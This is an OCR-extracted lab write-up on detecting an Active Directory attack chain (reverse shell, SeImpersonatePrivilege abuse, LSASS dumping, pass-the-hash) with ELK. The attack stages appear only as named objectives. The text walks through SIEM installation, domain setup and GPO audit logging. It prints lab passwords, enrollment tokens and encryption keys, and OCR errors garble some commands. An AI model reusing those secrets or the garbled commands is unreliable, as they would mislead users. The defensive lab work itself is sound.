Multi-Stage Active Directory Attack
Detection using ELK SIEM

0. Project Requirements

Objectives :

Build a realistic Active Directory lab

Simulate a multi-stage Windows attack chain
Collect and analyze telemetry in ELK SIEM

Design a detection rules mapped to MITRE ATT&CK

Prerequisites / Lab Setup

1. Infrastructure Requirements

You need to install the following virtual machines:

Machine oS Purpose
Domain Controller  Active Directory Domain Services = Windows Server (2019/2022)
Domain Client Windows 10 / 11 Victim workstation
SIEM Ubuntu Server ELK Stack

2. Active Directory Configuration

Install Active Directory Domain Services on Windows Server Promote server to
Domain Controller (DC)

Create: At least one domain user One privileged (Domain Admin) account Join the
Windows Client machine to the domain

3. Logging & Telemetry

Windows Logging :
Enable the following on both DC and Client:

Advanced Audit Policy PowerShell logging (Script Block + Module logging) Process
creation (4688) with command-line arguments Credential access auditing

Log Forwarding



Send logs to ELK SIEM (via Winlogbeat / Elastic Agent)

Required Log Sources :

Security Event Log

Sysmon (recommended but optional)

PowerShell Operational Logs

Attack Scenario You must execute the following attack chain from attack side and
validate that telemetry is ingested into ELK

Step 1-Initial Access: Reverse Shell

Objective

Establish an initial foothold on the Windows Client.
Required Action :

Generate and deliver a reverse shell payload
Obtain a session on the Windows Client

Step 2 - Privilege Escalation: Seimpersonateprivilege

Objective

Escalate privileges from standard user to SYSTEM.
Required Action

Use SelmpersonatePrivilege abuse

Step 3 - Credential Dumping: LSASS Memory

Objective

Extract credentials from the compromised client.
Required Action

Dump LSASS memory using Sysinternals or equivalent

Step 4 - Lateral Movement: Pass-the-Hash to Domain
Controller

Objective
Move laterally from the Windows Client to the Domain Controller.

Required Action

Use dumped NTLM hashes
Authenticate to the DC using Pass-the-Hash

Detection Engineering Tasks



For each attack step, you must create at least one detection rule in Sigma and
deploy it on ELK.

Rule Requirements
Each detection rule must include:

. Rule Name

. MITRE ATT&CK Technique ID
. Log Source(s)

. Required Fields

. Detection Logic

o 0~ W DN P

. False Positive Considerations

Report
In the report, you must:

e Attack simulation steps

» Trigger each detection successfully

e Show alerts generated in ELK

e Detection Rule in Sigma and ELK format

| Executive Summary
1.1 Objective

The purpose of this project is to design and validate detection capabilities against a
realistic multi-stage Windows attack in an Active Directory environment.

The lab simulates:

Initial compromise of a domain-joined workstation

Privilege escalation to SYSTEM

Credential dumping from LSASS
Lateral movement to the Domain Controller

All attacker activities were logged, ingested into ELK SIEM, and detected using
custom Sigma-based detection rules mapped to MITRE ATT&CK.



1.2 Key Outcomes

Successfully built an Active Directory lab environment
Executed a realistic attack chain

Validated telemetry availability

Designed and triggered detection rules for each attack stage

)| Lab Architecture & Environment

2.0 Infrastructure Overview

Machine oS Role Components

Domain Windows Active Directory AD DS, Winlogbeat , Sysmon

Controller Server

Domain Client Windows Victim Winlogbeat , Sysmon
10/M Workstation

SIEM Server Ubuntu Centralized Fleet Server , Elasticsearch, Kibana
Server Logging

Attacker Ubuntu Linux Attack Simulation =~ Metasploit, mimikatz, wmiexec /

Machine smbexec , etc.

2.0.1Regarding Log Redirection

=] Note on the Assimilation Strategy: Initially, the lab was set up to test the Fleet-
managed Elastic proxy (as described in the setup steps below) to explore modern
centralized management. However, for the final attack simulation and detection
phase, | chose to use Winlogbeat.

e Why Winlogbeat for the final phase?

* Precise Control: Winlogbeat enables precise manual binding of Windows
event fields to Elasticsearch indexes.

» Sigma Compatibility: Winlogbeat provides a straightforward, classic format
that is fully compatible with the standard Sigma rules used in this project.

e Resource Efficiency: Most importantly, and because the VMs crashed
multiple times, Winlogbeat maintains low memory consumption on the
domain controller and client virtual machines during the attack execution.



2.0.2 Network Architecture

« All devices are on the same internal network (NAT).

e The domain client is joined to an Active Directory domain.

e Logs are forwarded to ELK via Winlogbeat/Elastic Agent.

« Data Collection: Logs are collected from devices (the domain controller and the
client) using Elastic Agent and Sysmon.

» Data Ingestion: Logs are sent directly to Elasticsearch (via port 9200) where
they are indexed and stored.

» Visualization and Detection: We use Kibana as a graphical interface for threat
detection and enforcement of detection rules.

¢ Network Configuration Note:
All devices are connected primarily via Host-only Network ( 192.168.56.0/24 ) to
allow internal communication between Domain Controller, Windows Client, and
SIEM server.
Additionally, a NAT adapter is configured on each VM (Adapter 2) to allow
internet access without interfering with the internal network.

2.1 Building a SIEM Server

| wrote all of this before and published it here as well | LINK

2.1.0 First, | will activate the VirtualBox tools on this virtual
machine:

e On Debian/Ubuntu distributions:

sudo apt update
sudo apt install build-essential dkms linux-headers-$(uname -r)

1. From VirtualBox: Devices - Insert Guest Additions CD image

2. In the Linux terminal:

sudo mount /dev/cdrom /mnt
sudo /mnt/VBoxLinuxAdditions.run

3. After installation is complete, reboot the machine:


https://sec-lab-notes.hashnode.space/abdelwahabshandy-notes/siem-home-lab/pre-lab-overview

sudo reboot

4. Enable Shared Clipboard and Drag & Drop:
e Devices = Shared Clipboard - Bidirectional
* Devices - Drag & Drop - Bidirectional

2.11Install Elasticsearch, Kibana, and Logstash (ELK Stack)
in SIEM Server

Official Reference:
Install Elasticsearch with Debian Package

Install Kibana with Debian package

Step 1: Switch to Root and Update System:

sudo apt update

Step 2: Add Elasticsearch GPG Key and Repository :

wget -q0 - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --
dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg

echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg]
https://artifacts.elastic.co/packages/9.x/apt stablemain" | sudo tee
/etc/apt/sources.list.d/elastic-9.x.list

Step 3: Install Dependencies :

sudo apt-get install apt-transport-https -y
sudo apt update

Step 4: Install Elasticsearch:
sudo apt-get install elasticsearch -y

& During installation, Elasticsearch will automatically:

e Create elasticsearch user and group.


https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-elasticsearch-with-debian-package
https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-kibana-with-debian-package

» Enable security auto-configuration (authentication + TLS).
e Generate a password for the built-in elastic superuser, for example:

The generated password for the elastic built-in superuser is:
SRA0Qsz3*Q6B=QDG*j6F

Important Commands after Installation :

sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service

sudo systemctl start elasticsearch.service
| Verify status (elasticsearch):

sudo systemctl status elasticsearch

siem@siem:~$ sudo systemctl status elasticsearch
[sudo: authenticate] Password:
e elasticsearch.service-Elasticsearch
Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled;
preset: enable>
Active: active (running) since Mon 2025-12-22 23:04:38 EET; 16s ago

Step 5: Install Kibana and Logstash

sudo apt-get install kibana logstash -y
sudo systemctl enable kibana.service

sudo systemctl start kibana.service
| Verify status (Kibana) :

sudo systemctl status kibana.service

siem@siem:~$ sudo systemctl status kibana.service
@ kibana.service -Kibana
Loaded: loaded (/usr/lib/systemd/system/kibana.service; enabled; preset:


https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-elasticsearch-with-debian-package

enabled)
Active: active (running) since Mon 2025-12-22 23:03:32 EET; 2min 40s ago

During the installation, the following will be done:

¢ A dedicated user and service for Kibana will be created.
¢ A Kibana Keystore file will be set up to store sensitive values.
» Logstash will be configured to process logs in the future.

Step 6: Install curl (to test Elasticsearch connection) :

sudo apt-get install curl -y

2.1.2 Configure Elasticsearch

After installing Elasticsearch, the next step is to configure it to make it accessible
from your local network.

Open the configuration file:

sudo nano /etc/elasticsearch/elasticsearch.yml

7 Edit the following lines:

# Network interface:
network.host: 0.0.0.0

# Un-comment and set the port:
http.port: 9200

| Then Save and Exit.

2] Check your IP address :
ipa
Example output:

inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute
enp0s3



| In this case, the server IP is 192.168.1.16

] Test Elasticsearch in your browser:

Open the following link: ¢/ https://192.168.56.103:9200/

O & o 192.168.56.103:9200

tagline: "You Know, for Search"

| (74 Elasticsearch configuration is complete!

2.1.3 Configure Kibana

After installing Kibana, we need to configure it, connect it to Elasticsearch, and
make sure it runs automatically as a service.

| Edit the Kibana configuration file
sudo nano /etc/kibana/kibana.yml
Modify the following lines:

# Network interface:
server.host: "0.0.0.0"

# Port number:
server.port: 5601

Then Save and Exit.



] Create an Enrollment Token for Kibana

(Execute this on the Elasticsearch server)

sudo /usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -
s kibana

Example output:

eyJ2ZXIi0iI4LjEOLjAiLCIhZHIi0lsiMTkyLjE20C4xLjE20jkyMDAiXSwiZmdyIjoiOT
MwWYWITMTViINTKwWMDAXOTUXY2YXMTczN2M5NWY3NzA3NmFiNmY1NDNjMTMOOGEXYTNKZGE1
NTYyZGQ5MDFiNSIsImt1leSI6IKkYOVDNzWmtCcET1VNGVES1Vrb19k0OnYxcEx2Tkg4U1hLTz
VMNmcwbGZoNVEifQ==

This token will be used to register Kibana with Elasticsearch.
I Note: It's valid for 30 minutes only.

] Enable Kibana to start automatically on boot

sudo systemctl daemon-reload
sudo systemctl enable kibana.service
sudo systemctl start kibana.service

e enable creates a symlink so that Kibana starts automatically on boot.

e start launches Kibana immediately.

1 Verify Kibana service status
sudo systemctl status kibana

If you see Active (running), Kibana is now running but not yet registered with
Elasticsearch.

] Register Kibana with Elasticsearch
In the status output, you'll find a link like:

http://<host-IP>:5601/7?code=<6-digit-code>

+ Example: http://localhost:5601/?code=035706

Open this link in your browser, and you'll be prompted to enter the Enrollment
Token you created earlier.


http://localhost:5601/?code=035706

. Login to Kibana
Use the same credentials generated during the Elasticsearch installation:

¢ Username: elastic
e Password: SRA0Qsz3*Q6B=QDG*j6F

[ ]
'
.‘

Configure Elastic to get started

Enroliment token

ey 2ZXI0I4LJEOLJAILCIhZHIIOISIM TRyLJE20C4xLJEWwMDoSM
jAwlI0sIimZncilBlmJhN]Y4Z]VINjhkZjk10DMAZmEAZ|ISZmUz0
WQIMjgSYmU3MGVINTUIOTJIMDImNZVEY TIMkZMjM3NTM
YMIMILCIrZXkiQiJAMHY OVFprOnifWEdSZ3BzVmRDUDpIbWp
UZHRY ZzMNVERGAGRwWeT ZfMnpRIn0=

e Once authenticated, Kibana will complete registration and connect to
Elasticsearch.

|74 Kibana is now successfully configured and linked to Elasticsearch!

2.1.4 At this stage, the SIEM is now up and running
successfully. [74 But Wait This time, I'm the one who will add
the rules.

2.1.4 Generate Encryption Keys
| solved this problem before and wrote a simple article about it. | LINK

» Before starting the lab or running detection and alert rules in the SIEM/
Environment, the goal is to avoid common operational issues (such as
connectivity problems, encryption key errors, permission issues, or
configuration mistakes).

e This step also provides a checklist to ensure the environment is set up securely
and in a repeatable manner.

* When moving to Security - Rules, you might encounter the following message:


https://sec-lab-notes.hashnode.space/abdelwahabshandy-notes/siem-home-lab/detection-egnineering/pre-start

Unable to create actions client because the Encrypted Saved Objects plugin
ismissing encryption key. Please set
xpack.encryptedSavedObjects.encryptionKey in the kibana.yml or use the
bin/kibana-encryption-keys command. (500)

. Security y  Rules - ML job settings ~ [@ Add integrations
% Security Rules
() Falled to retrieve detection *
Dashboard Management engine privileges
- Unable to create actions client because the
Rules 88 = DK\ =2 Encrypted Saved Objects plugin is missing
Aert e 7 [a] encryption key. Please set
lerts . .
Detection rules (SIEM) Benchmarks Shared exception lists *pack.encryptedSavedObjects.encryptionk
Attack discovery ey in the kibana.ymi or use the bin/kibana-
Create and manage detection rules for threat View benchmark rules for Cloud Security Create and manage shared exception lists 1o encryption-keys command. (500)
Findings detection and monitoring. Posture management. prevent the creation of unwanted alerts.
o See the full error
ases
®
Explore N N
Automatic migrations & Falled to bootstrap prebuilt b
Timelines Our generative Al powered Automatic rules
migration tool automates some of the most Unable t N " fient b th
Intelligence time consuming migrations tasks and nable to create actions client because the
Encrypted Saved Objects plugin is missing
processes.
encryption key. Please set
xpack.encryptedSavedObjects.encryptionk
ey in the kibana.ymi or use the bin/kibana-
Get started @ Discover encryption-keys cemmand. (500}
Manage sa — See the full error
s
o

Cause:

Kibana requires an encryption key to secure certain sensitive objects, such as
Connectors, Actions, and Saved Objects.

Without this key, you won't be able to save or run any alerts.

What Are “Encrypted Saved Objects"?

e Every time you create an Alert, Rule, or Connector, Kibana stores the
configuration as a Saved Object.

e Some of these objects contain sensitive data (like passwords, tokens, or API
credentials), so Kibana encrypts them using the following key:

xpack.encryptedSavedObjects.encryptionKey

Where's the Problem?

e Kibana can't find this key inside the configuration file:
/etc/kibana/kibana.yml

| As a result, the Actions and Alerts system fails to start.

Solution — Generate Encryption Keys



| Generate the Keys

Run the following command:
sudo /usr/share/kibana/bin/kibana-encryption-keys generate
Example Output:

Settings:

xpack.encryptedSavedObjects.encryptionKey:
t33d08ae9217567c3af61e4754b140c9

xpack.reporting.encryptionKey: 971e27adaddcdO0e3bcd1629b2d1b26fe
xpack.security.encryptionKey: 70faae08f08070b49974a17t391c6816

] Editthe kibana.yml File

e Open the file for editing:
sudo nano /etc/kibana/kibana.yml

o Add these lines at the end of the file (replace with your generated keys):

GNU nano 8.4 fetc/kibana/kibana.yml *

2.168.56.103:9200]
! none
AAEAAWYSYXNOaWMva2 LLYW5hL2Vucm9sbClwem9 JZXNzLXRva2VuULTE3NQ2MjcwODI INZM6NWF3TUpqTFOTY21251 1

utput, name: default, is default: true, is default mon
7d35e303958363027ae5799872e6387a
5c1eal@®576c1b5cffde9s

5e25787601e5069366a45227db146a

] Restart Kibana

sudo systemctl restart kibana
# And
sudo systemctl daemon-reload



Py— e —— o o [T 0

= . Security  Rules  Detection rules (SIEM) ML job settings ~ [@ Add integrations
¥  Security Rules @ Add Elastic rules 1414 4, Manage value lists 4 Import rules @ Create new rule
Dashbeards )
/% Get more value out of Elastic prebuilt rules! b
Rules 8 Learn how to customize prebuilt rules and update them to get the latest improvements.
Alerts Read the blog ‘

Attack discovery

Findings Installed Rules Rule Monitoring

Cases

Explore 8 Install and enable Elastic prebuilt detection

Timelines rules

Intelligence Elastic Security comes with prebuilt detection rules that run in the
background and create alerts when their conditions are met. To

start using them, choose rules to install and enable
Get started g @ Add Elastic rules

o After restarting, you'll notice that the Rules page in Kibana loads normally,
and Connectors can be created without any errors.

o |74 The SIEM is now up and running successfully

| Active Directory Configuration

3.1Installing Guest Additions Tools on a Windows
And WinServer VMs

e Start my Windows And WinServerVM.

e From the VirtualBox top menu:
Devices -» Insert Guest Additions CD image..

¢ |nside Windows:
e Go to the newly added CD.

e Run VBoxWindowsAdditions.exe (choose the version according to your
system, 32-bit or 64-bit).
» Follow the steps and click Reboot after installation.

-. After restarting:
- Enable Shared Clipboard and Drag & Drop:

Devices - Shared Clipboard - Bidirectional
Devices »Drag &Drop -» Bidirectional

| 74 Now your Windows VM is ready for copy, paste, and sharing.



3.11Change the device name (Hostname):

From Start = Settings = System = About = Rename this PC (Advanced)
In the Computer name field: DC And In Win-11 Computer name : WIN-1

Computer Name  Hardware Advanced Remote

LJ Windows uses the following information to identify your computer Computer Name/Domain Changes =
on the network.
C descrintion: You can change the name and the membership of this
omputer description: computer. Changes might affect access to netwark resources.
For example: "I15 Production Server” or
"Accounting Server”.
Full computer name: DC.Test local Computer name:
Domain: Test local ‘E

Full computer name:

To rename this computer ar change its domain or OC Test local
warkgroup, click Change. ' :

Member of

Liamain.

OK Cancel

Click OK, then Restart Now.

| confirmed that the name was successfully changed using the CMD:

C:\Users\Administrator>hostname
DC

| Everything looks perfect! ['4

3.11 Make sure that Windows , WinServer and SIEM are on
the same network:

« Network Configuration Note:
All devices are connected primarily via Host-only Network ( 192.168.56.0/24 ) to
allow internal communication between Domain Controller, Windows Client, and
SIEM server.

Additionally, a NAT adapter is configured on each VM (Adapter 2) to allow

internet access without interfering with the internal network.

e in Windows-Client ping Devices :



C:\Users\AdminUser>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
Connection-specific DNS Suffix .:
IPv4 Address...........:192.168.56.102
Subnet Mask...........:255.255.255.0
Default Gateway.........:

Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix .:home

Link-local IPv6 Address......: fe80::c98c:1d46:7a51:79ed%18
IPv4 Address...........:192.168.1.9

Subnet Mask...........:255.255.255.0

Default Gateway.........:192.168.1.1

C:\Users\AdminUser>ping 192.168.56.101

Pinging 192.168.56.101 with 32 bytes of data:

Reply from 192.168.56.101: bytes=32 time<ims TTL=128
Reply from 192.168.56.101: bytes=32 time=1ms TTL=128
Reply from 192.168.56.101: bytes=32 time<ims TTL=128
Reply from 192.168.56.101: bytes=32 time=1ms TTL=128

Ping statistics for 192.168.56.101:
Packets: Sent =4, Received =4, Lost =0 (0% loss),
Approximate round trip times inmilli-seconds:
Minimum = Oms, Maximum = 1ms, Average = 0ms

C:\Users\AdminUser>ping 192.168.56.103

Pinging 192.168.56.103 with 32 bytes of data:

Reply from 192.168.56.103: bytes=32 time<1ims TTL=64
Reply from 192.168.56.103: bytes=32 time<ims TTL=64
Reply from 192.168.56.103: bytes=32 time=1ms TTL=64
Reply from 192.168.56.103: bytes=32 time<ims TTL=64

Ping statistics for 192.168.56.103:
Packets: Sent =4, Received =4, Lost =0 (0% lLoss),
Approximate round trip times inmilli-seconds:

Minimum = Oms, Maximum = 1ms, Average = 0ms

C:\Users\AdminUser>

e In Windows Server ping Devices :



C:\Users\Administrator>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
Connection-specific DNS Suffix .:
IPv4 Address...........:192.168.56.101
Subnet Mask...........:255.255.255.0
Default Gateway.........:

Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix .:home

Link-local IPv6 Address......: fe80:1128:T9b9:ae90:8132%19
IPv4 Address...........:192.168.1.8

Subnet Mask...........:255.255.255.0

Default Gateway.........:192.168.1.1

C:\Users\Administrator>ping 192.168.56.103
Pinging 192.168.56.103 with 32 bytes of data:
Reply from 192.168.56.103: bytes=32 time<lims TTL=64
Reply from 192.168.56.103: bytes=32 time=1ms TTL=64
Reply from 192.168.56.103: bytes=32 time=1ms TTL=64

Ping statistics for 192.168.56.103:
Packets: Sent =3, Received =3, Lost =0 (0% lLoss),
Approximate round trip times inmilli-seconds:
Minimum = Oms, Maximum = 1ms, Average = 0ms

I'm Not Ping a Win-Client Becouse a Firewall

e In SIEM Server ping Devices :

siem@siem:~$ ip a
1: Lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid lft forever preferred 1ft forever
inet6:1/128 scope host noprefixroute
valid lft forever preferred lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER UP>mtu 1500 qdisc fq codel state UP
group default qlen 1000
link/ether 08:00:27:cb:7a:c6 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute
enp0s3



valid 1ft 548sec preferred lft 548sec
inet6 fe80::a00:27ff:fecb:7ac6/64 scope Link noprefixroute
valid lft forever preferred lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER UP>mtu 1500 qdisc fq codel state UP
group default gqlen 1000
link/ether 08:00:27:f8:83:37 brd ff:ff.ff.ff:ff.ff
altname enx080027188337
inet 192.168.1.10/24 brd 192.168.1.255 scope global dynamic noprefixroute
enp0s8
valid 1ft 548sec preferred lft 548sec
inet6 fe80::53ee:c237.ee7e:4802/64 scope Link noprefixroute
valid lft forever preferred lft forever
4: docker0: <NO-CARRIER,BROADCAST MULTICAST,UP>mtu 1500 qdisc noqueue state
DOWN group default
link/ether 8e:c6:54:c8:30:1a brd ff:ff.ff.ff:ff.ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid lft forever preferred lft forever

siem@siem:~$ ping 192.168.56.101

PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.

64 bytes from 192.168.56.101: icmp seq=1 tt1=128 time=1.05 ms
64 bytes from 192.168.56.101: icmp seq=2 tt1=128 time=0.457 ms
~C

---192.168.56.101 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.457/0.751/1.045/0.294 ms
siem@siem:~$

I'm Not Ping a Win-Client Becouse a Firewall

Machine (O] IPs
Domain Controller ~ Windows Server = 192.168.56.101
Domain Client Windows 10/1 192.168.56.102
SIEM Server Ubuntu Server 192.168.56.103

All devices are connected and everything is working perfectly.

3.2 Promote Server to Domain Controller:

3.2.1Installing Active Directory Domain Services



. Open Server Manager - Click on Add Roles and Features.
. Select Role-based or feature-based installation > Next.
. Select the server from the list > Next.

A W DN P

. Select Active Directory Domain Services - Click on Add Features when
prompted - Next.

5. Continue clicking Next until you reach Install.

6. Click Install and wait for the installation to complete - then click Close.

3.2.2 Upgrade Server to Domain Controller

1. After installation, in Server Manager you will see the message "Promote this
server to a domain controller" - Click on it.

2. Select:
e Add a new forest to create a new domain.
e Enter the root domain name (e.g., mydomain.local ).

3.Enter the Directory Services Restore Mode (DSRM) password - Next.

3. Ignore the DNS warning - Next.

4. A NetBIOS name will be suggested automatically (you can change it) - Next.
5. Leave the default paths for the databases and logs - Next.

6. Review the settings - Click Install.

7. After installation is complete, the server will restart automatically.

8. Verify that Windows Server is still Domain Controller :

PS C:\Users\Administrator> Get-ADDomain

Forest : Test.local
InfrastructureMaster :DC.Test.local
ManagedBy :

Name :Test

NetBIOSName : TEST

ObjectClass : domainDNS
PDCEmulator :DC.Test.local

9. Verify that DNS is working correctly via:

PS C:\Users\Administrator>nslookup Test.local
Server: localhost
Address: 127.0.0.1



Name: Test.local
Address: 192.168.1.6

"4 WinServer is now a Domain Controller

3.3 Create Domain Users:
3.3.1Standard Domain User:

e This is the user from whom the attack will originate.

Example:
e Username: NormalUser
e Group: Domain Users only
e Why:
e To prove that:
e Initial Access is not from an Admin

e Privilege Escalation is genuine

To create a user account on the Domain Controller:
e Server Manager - Tools - Active Directory Users and Computers :
* Right-click on Users
e New-User
e Data:
e Userlogon name: NormalUser@Test.local and Pass P@sswOrd

Confirm the group:
e Double-click on NormalUser

Member Of tab :



MormalUser Properties ? *
Remote control Remote Desktop Services Profile COM=
General Address Account Profile Telephones Organization
Member Of Dialdn Environment Sessions
Member of:
Mame Active Directory Domain Services Folder
Domain Users Test local/Users
Add... Remove

3.3.2 User with high privileges (Domain Admin)

This is the ultimate goal.
e Example:
e Username: AdminUser
e Member of:
e Domain Admins
& Why is this important?
So that:
e Credential Dumping has value

e Pass-the-Hash is effective

Create AdminUser :
e To create a user account on the Domain Controller:
e Server Manager - Tools = Active Directory Users and Computers :
e Right-click on Users
* New - User
e Data:
e Userlogon name: AdminUser@Test.local And Strong Password
e Finish

Add AdminUser to Domain Admins:

e Double click in AdminUser
¢ Member Of tab :
e Add
e Read And Check : Domain Admins



e LIESCTL

nILnn

+f AdminUser Properties 7 >
z Remote control Remate Desktop Services Profile COM=
General Address Accournt Prafile Telephones Organization
Member Of Dialin Environment Sessions
Member of :
MName Active Directory Domain Services Folder
Domain Adminz Test local/Users
Domain Users Test local/Users
| OK = Apply
Quick Check
o [V Created a standard domain user (NormalUser) with default Domain Users
membership.

o |74 Created a privileged account (AdminUser) and added it to the Domain
Admins group.

3.4 Join Windows Client to the Domain

¢ What does that mean?
e Windows 10/11 device:
e It's no longer standalone
e It's domain-joined

IN WINDOWS-11 (Client):

e Network Settings - Adapter - IPv4 :
- Preferred DNS : 192.168.1.6 IPDC
e Settings — System — About — Rename this Pc Advanced
e Read: Test.local



fit Home ANALIT

System Properties >
RITEl= Computer Name  Hardware Advanced System Protection Remote ’rEd al
—
Syst Computer Mame/D'omain Changes > |entify your computer lecurity
You can change the name and the membership of this
computer. Changes might affect access to network resources.
! uter” or "Mary's ons
=i
Computer name:
1| [WIN- | MCore(Tl
Full computer name: / e proces
e WIN-1 Metwork 1D... B
More... L7GS-ABF
@ | Memberot . L80000-C
(®) Domain: operatir
|Test.|oca|| |
» n or tout
i) Workgroup:
WORKGROUP
D
Gt
ancel Apply
|
e Enter: User Name And Pass :
folLean channs the nama and the mambarchin of thic
O Windows Security * :
Computer Name/Domain Changes
o
wi
f Enter the name and password of an account with permission to re
4 join the domain. bC
Wl
Administrator 2
[ Ot
[TITITIT] o
ra
fc
oK Cancel

- And 0k And Restart Naw
e After Join Domain :

e Open CMD In WIN Client :

C:\Users\AdminUser>systeminfo | findstr /B /C:"Domain"
Domain: Test.local

The Windows client device was successfully added to the domain (Test.local)
because it was intended to be used as the victim's workstation.



_| Logging & Telemetry Configuration
| (on DC and Client(Win-11) )

e The goal:

e The objective of this phase is to ensure that every stage of the simulated
attack generates high-fidelity telemetry that is reliably collected and
ingested into the ELK SIEM.

e This telemetry serves as the foundation for designing and validating
detection rules mapped to MITRE ATT&CK techniques.

e To reflect enterprise best practices, all audit and logging configurations
were centrally managed using Group Policy Objects (GPOs) deployed from
the Domain Controller.

¢ Logging Strategy
e Advanced Audit Policies were implemented via Group Policy and linked to
Organizational Units (OUs). This approach ensures:
e Centralized and consistent policy enforcement
e Scalability across multiple domain-joined systems
e Automatic application of logging policies to any system within the
targeted OU

4.1 Enabled Windows Logging

e Specific logging sources were enabled in the Windows system to ensure
complete visibility into all attack techniques executed during the simulation.

» These logs are essential for detecting process execution activities, PowerShell
abuse, credential access, and lateral movement.

Log Sources Overview

Log Source Generated Ingestion Validation in ELK
On Method
Security Event Log DC & Client Elastic Agent event.code:4688
PowerShell Operational Client Elastic Agent event.code:4104

Logs

Sysmon (optional) Client Elastic Agent event.code:10 or
1



411 Organizational Unit (OU) Design:

e To apply audit policies in a controlled and enterprise-aligned manner,
Organizational Units were structured based on system roles.

Workstations OU :

» A dedicated Organizational Unit was created to host domain-joined Windows
client machines:
e OU Name: Workstations-Audit-Logging
e Systems Included:
e Windows 11 Client (Victim Workstation)
e This OU was used to apply audit logging policies relevant to endpoint attack
activity, including process execution, PowerShell abuse, and credential
dumping.

Domain Controller OU

e Domain Controllers were retained in the default Domain Controllers
Organizational Unit.

e A separate Group Policy Object was created and linked to this OU to apply audit
logging configurations specific to domain controller activity, such as
authentication events and privileged logons.

* This separation ensures:

e Appropriate logging coverage per system role
e Reduced risk of misconfiguring sensitive domain controller settings
e Alignment with real-world Active Directory best practices

Create an OU (on the DC)

e INDC:
e Server Manager - Tools - Active Directory Users and Computers :
» Right-click on the domain (e.g., Test.local)
* New - Organizational Unit
e Name: Workstations-Audit-Logging

e Move the client device
e Go to Computers
e Right-click on your Windows 11 device
e Move
e Select: Workstations-Audit-Logging

e The DC is not moved



¢ it remains inside the virtual OU : Domain Controllers

Creating a GPO for Workstations (Clients)

¢ Open Group Policy Management :
e Server Manager - Tools = Group Policy Management

e Create GPO:
e Right-click on: Workstations-Audit-Logging :
e Create a GPO in this domain and Link it here

e Edit GPO : Right Click - Edit
 Activate Advanced Audit Policy (within GPO) :
e PATH : Computer Configuration
-> Policies
- Windows Settings
-> Security Settings
- Advanced Audit Policy Configuration
- = Audit Policies
« | did (Success + Failure):

» Detailed Tracking - Audit Process Creation - -Enabled to
detect malicious process execution and LOLBins abuse using
command-line visibility.

Logon/Logoff - Audit Logon , Audit Special Logon - Enabled to

monitor authentication activity, privileged logons, and
lateral movement.

Object Access - Audit Kernel Object , Audit Handle Manipulation
- -Enabled to support detection of credential dumping (e.qg.,
LSASS access).

Privilege Use - Audit Sensitive Privilege Use = -Enabled to
detect abuse of high-risk privileges during privilege
escalation.

Account Logon - Audit Credential Validation - -Enabled to

monitor NTLM/Kerberos authentication for Pass-the-Hash
detection.

e Activate Process Creation with Command Line :
e PATH : Computer Configuration :
e - Policies
e - Administrative Templates
e > System
e - Audit Process Creation

e | did (Enable) :



e Include command line in process creation events - to see the
Reverse Shell commands in Event 4688

e Because : Enabled to detect malicious process execution and LOLBIns
abuse using command-line visibility.

e Activate PowerShell Logging:
e PATH : Computer Configuration :
e - Policies
e - Administrative Templates
e - Windows Components
* > Windows PowerShell

« |1 did (Enable) :
e Turn on PowerShell Script Block Logging
e Turn on PowerShell Module Logging :
e Module Names: *

e Because : Enabled to detect PowerShell-based post-exploitation and
obfuscated execution.

Create a GPO specific to the Domain Controller

¢ In Group Policy Management
e Right-click on: Domain Controllers
e Create a GPO:
e Name: GPO-DomainControllers-Audit-Logging

| did the following within it:
e Advanced Audit Policy
e Process Creation + Command Line
o (PowerShell Logging if using PowerShell on the DC)

o s Same paths as before.

Applying policies (Client & DC)

e Clickon wWin+R
e On Windows Client:

gpupdate /force
e On Domain Controller:

gpupdate /force



e QOut:

Updating policy...

Computer Policy update has completed successfully.

Verify that logging is enabled

¢ On the client(As Administrator) or DC:
auditpol /get /category:*
e Run a simple test:

notepad.exe

e Then:
e Open Event Viewer
e Security Log
e Look for:
e EventID 4688

¢ CommandLine is visible :

] Event Viewer
File Action View Help

=% 75 HE

@ A AUEYERLIEN ] Security Mumber of events: 23,260 (1) New events available
_-‘7 Custom Views =
- !_- Windows Logs l_(eywords Date and Time Source Event ID Task Category
5] Application "f\l.‘Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
5] Security @ Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
] Setup 'Qxﬂhudit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
] System 'Q;Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688  Process Creation
) {5 Forwarded E||| @, Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
EI Applications ang 'K.‘Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
i1 Subscriptions 'Q;Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688  Process Creation
'Q;Audit Success 12/23/2025 3:25:58 AM Microsoft Windows security auditing. 4688 Process Creation
'*B{;Audit Success 1272372025 3:25:57 AM Microsoft Windows security auditing. 4688  Process Creation
